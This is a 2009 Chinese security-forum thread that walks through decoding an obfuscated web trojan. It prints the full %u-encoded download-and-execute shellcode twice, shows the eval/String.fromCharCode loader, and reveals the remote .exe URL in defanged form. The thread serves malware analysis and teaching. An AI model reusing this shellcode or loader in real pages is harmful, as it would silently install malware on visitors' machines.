有奖解密网马简要分析 bbs.ikaka.com

networkedition - 2009-6-3 9:22:00

我们来简要分析一下这个加密代码，共有两种解密方式，下面来详细讲解一下：

CODE:

1. 我们先来看一下t等于后面的这么一长串数字，这些都是0~10之间的阿拉伯数字，且没有字母，实际上这是十进制加密，这种进制类加密方法在早期网马加密中很常见。

2. 既然已经分析出是十进制加密，那么我们通过什么方法来解密呢，可以通过在线解密工具。具体方法，将t等于后面的一长串数字复制粘贴至在线解密工具操作区。详见截图：

在这里需要注意一下，只需复制t等于后面一长串数字，要去除其余字符。

用户系统信息：Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

networkedition - 2009-6-3 9:23:00

下图为解密之后结果，我们看到解密结果实际是一段shellcode，接下来将要解密shellcode部分复制

[复制到剪贴板]

CODE:

%u9090"+"%u9090"+
"%u6460%u30a1%u0000%u8b00%u0c40%u708b%uad1c%u708b" +
"%u8108%u00ec%u0004%u8b00%u56ec%u8e68%u0e4e%ue8ec" +
"%u00ff%u0000%u4589%u5604%u9868%u8afe%ue80e%u00f1" +
"%u0000%u4589%u5608%u2568%uffb0%ue8c2%u00e3%u0000" +
"%u4589%u560c%uef68%ue0ce%ue860%u00d5%u0000%u4589" +
"%u5610%uc168%ue579%ue8b8%u00c7%u0000%u4589%u4014" +
"%u3880%u75c3%u89fa%u1845%u08e9%u0001%u5e00%u7589" +
"%u8b24%u0445%u016a%u8b59%u1855%ue856%u008c%u0000" +
"%u6850%u1a36%u702f%u98e8%u0000%u8900%u1c45%uc58b" +
"%uc083%u8950%u2045%uff68%u0000%u5000%u458b%u6a14" +
"%u5902%u558b%ue818%u0062%u0000%u4503%uc720%u5c00" +
"%u2e7e%uc765%u0440%u6578%u0000%u75ff%u8b20%u0c45" +
"%u016a%u8b59%u1855%u41e8%u0000%u6a00%u5807%u4503" +
"%u3324%u53db%uff53%u2075%u5350%u458b%u6a1c%u5905" +
"%u558b%ue818%u0024%u0000%u006a%u75ff%u8b20%u0845" +
"%u026a%u8b59%u1855%u11e8%u0000%u8100%u00c4%u0004" +
"%u6100%uc481%u04dc%u0000%uc25d%u0024%u5b41%u0352" +
"%u03e1%u03e1%u03e1%u83e1%u04ec%u535a%uda8b%uf7e2" +
"%uff52%u55e0%uec8b%u7d8b%u8b08%u0c5d%u8b56%u3c73" +
"%u748b%u781e%uf303%u8b56%u2076%uf303%uc933%u4149" +
"%u03ad%u56c3%uf633%ube0f%u3a10%u74f2%uc108%u0dce" +
"%uf203%ueb40%u3bf1%u5efe%ue575%u8b5a%u8beb%u245a" +
"%udd03%u8b66%u4b0c%u5a8b%u031c%u8bdd%u8b04%uc503" +
"%u5d5e%u08c2%ue800%ufef3%uffff%u5255%u4d4c%u4e4f" +
"%u6800%u7474%u3a70%u2f2f%u7777%u2e77%u776d%u2e72" +
"%u6f67%u2e76%u6e63%u6a2f%u7773%u2f6d%u6e49%u7465" +
"%u7570%u656f%u652e%u6578%u0000"

networkedition - 2009-6-3 9:23:00

这段shellcode中有很多标点符号及算术符号，我们简单处理一下，小技巧我们将这段shellcode复制粘贴至记事本，通过替换功能（也可使用freshow的replace功能），将不必要字符都替换为空（被替换内容不输入任何内容）(注：不是空格字符)，这也是在日常解密中经常使用到的方法。

[复制到剪贴板]

CODE:

%u9090%u9090
%u6460%u30a1%u0000%u8b00%u0c40%u708b%uad1c%u708b
%u8108%u00ec%u0004%u8b00%u56ec%u8e68%u0e4e%ue8ec
%u00ff%u0000%u4589%u5604%u9868%u8afe%ue80e%u00f1
%u0000%u4589%u5608%u2568%uffb0%ue8c2%u00e3%u0000
%u4589%u560c%uef68%ue0ce%ue860%u00d5%u0000%u4589
%u5610%uc168%ue579%ue8b8%u00c7%u0000%u4589%u4014
%u3880%u75c3%u89fa%u1845%u08e9%u0001%u5e00%u7589
%u8b24%u0445%u016a%u8b59%u1855%ue856%u008c%u0000
%u6850%u1a36%u702f%u98e8%u0000%u8900%u1c45%uc58b
%uc083%u8950%u2045%uff68%u0000%u5000%u458b%u6a14
%u5902%u558b%ue818%u0062%u0000%u4503%uc720%u5c00
%u2e7e%uc765%u0440%u6578%u0000%u75ff%u8b20%u0c45
%u016a%u8b59%u1855%u41e8%u0000%u6a00%u5807%u4503
%u3324%u53db%uff53%u2075%u5350%u458b%u6a1c%u5905
%u558b%ue818%u0024%u0000%u006a%u75ff%u8b20%u0845
%u026a%u8b59%u1855%u11e8%u0000%u8100%u00c4%u0004
%u6100%uc481%u04dc%u0000%uc25d%u0024%u5b41%u0352
%u03e1%u03e1%u03e1%u83e1%u04ec%u535a%uda8b%uf7e2
%uff52%u55e0%uec8b%u7d8b%u8b08%u0c5d%u8b56%u3c73
%u748b%u781e%uf303%u8b56%u2076%uf303%uc933%u4149
%u03ad%u56c3%uf633%ube0f%u3a10%u74f2%uc108%u0dce
%uf203%ueb40%u3bf1%u5efe%ue575%u8b5a%u8beb%u245a
%udd03%u8b66%u4b0c%u5a8b%u031c%u8bdd%u8b04%uc503
%u5d5e%u08c2%ue800%ufef3%uffff%u5255%u4d4c%u4e4f
%u6800%u7474%u3a70%u2f2f%u7777%u2e77%u776d%u2e72
%u6f67%u2e76%u6e63%u6a2f%u7773%u2f6d%u6e49%u7465
%u7570%u656f%u652e%u6578%u0000

将整理好的shellcode粘贴至freshow上操作区，通过两次esc解密出网马地址：hxxp://www.mwr.gov.cn/jswm/Inetpuoe.exe

networkedition - 2009-6-3 9:23:00

接下来讲解第二种解密方法，我们看到这段加密代码中有我们熟悉的eval和document.write这两个函数，且已知这两种加密形式解密方法，到底是将哪个替换为alert呢，简单分析一下

t=eval("String.fromCharCode("+t+")");
document.write(t)

String.fromCharCode 功能就是把ascii码转成字符串，然后eval就是把该字符串解析成javascript语句来执行。

我们大致应该明白这两段语句是做什么用的，在这里我们只需将document.write替换为alert，保存为htm格式直接运行，即可得到方法一的shellcode，后续解密方法和方法一雷同，在这里不在详细讲解。

09kaka - 2009-6-3 10:28:00

学习了~ 按照方法成功解开 :kaka12:

瑞星卡卡安全论坛